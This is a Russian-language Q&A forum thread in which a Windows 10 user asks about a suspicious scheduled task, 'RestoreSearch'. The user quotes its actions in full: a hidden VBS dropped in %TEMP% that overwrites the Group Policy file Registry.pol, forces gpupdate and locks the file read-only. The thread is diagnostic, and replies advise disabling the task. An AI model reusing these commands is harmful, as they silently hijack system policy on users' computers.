В планировщике Windows 10 странная задача «RestoreSearch», которая что-то делает с файлами политики безопасности. Что именно тут происходит?

Question

[Дмитрий Страцевский]

Windows 10 Home Edition. С некоторых пор начал замечать раз в несколько часов какое-то странное мигание окна, как будто окно открылось и сразу закрылось. Стал копать, поиски привели меня в Task Sheduler, где я обнаружил вот такую подозрительную задачу:
Name: RestoreSearch
Description: Browser search setting
Actions:

cmd.exe /c @echo Set objShell = WScript.CreateObject("WScript.Shell") > %TEMP%\R.vbs
cmd.exe /c @echo objShell.Run "cmd.exe /c (attrib -H -R -S %WinDir%\system32\GroupPolicy\Machine\Registry.pol)&(copy/b/y %WinDir%\system32\GroupPolicy\Machine\R %WinDir%\system32\GroupPolicy\Machine\Registry.pol > nul)&(gpupdate/force)&(attrib +R %WinDir%\system32\GroupPolicy\Machine\Registry.pol)", 0, True >> %TEMP%\R.vbs
wscript.exe %TEMP%\R.vbs
cmd.exe /c del/Q %TEMP%\R.vbs

Запускается это каждые 3 часа.
В %WinDir%\system32\GroupPolicy\ ничего нет, поэтому, вероятно, ничего никуда не копируется.
На всякий случай я это отключил, но хотелось бы понять подробнее, что это такое?

Comments

[mace-ftl]

Я после того как увидел что 10-ка отправляет СКРИНШОТЫ в майкрософт уже ничему не удивляюсь...

[Дмитрий Страцевский]

mace-ftl: Так и я не удивляюсь. Я разобраться хочу. Вижу что тут из какого-то бекапа берут файл политики и пытаются его применить. Вот я только не пойму, если это Microsoft-а поделка, то почему надо было это ТАК делать, скрипты, планировщик, cmd.exe... Или это какая-то временная заглушка, пока не доделали нормальное восстановление параметров политик, как было, кажется, в предыдущих версиях? Я не специалист совершенно и не параноик, но тут вот меня что-то зацепило.

Answer 1

[Василий]

>>>>> %TEMP%\R.vbs
приличные программы вбс скрипты не держат во временных файлах, отключаейте задачу и чистите папку %TEMP%

Comments

[Дмитрий Страцевский]

Да, я первым делом так и сделал. А про приличные программы я так и подумал! :)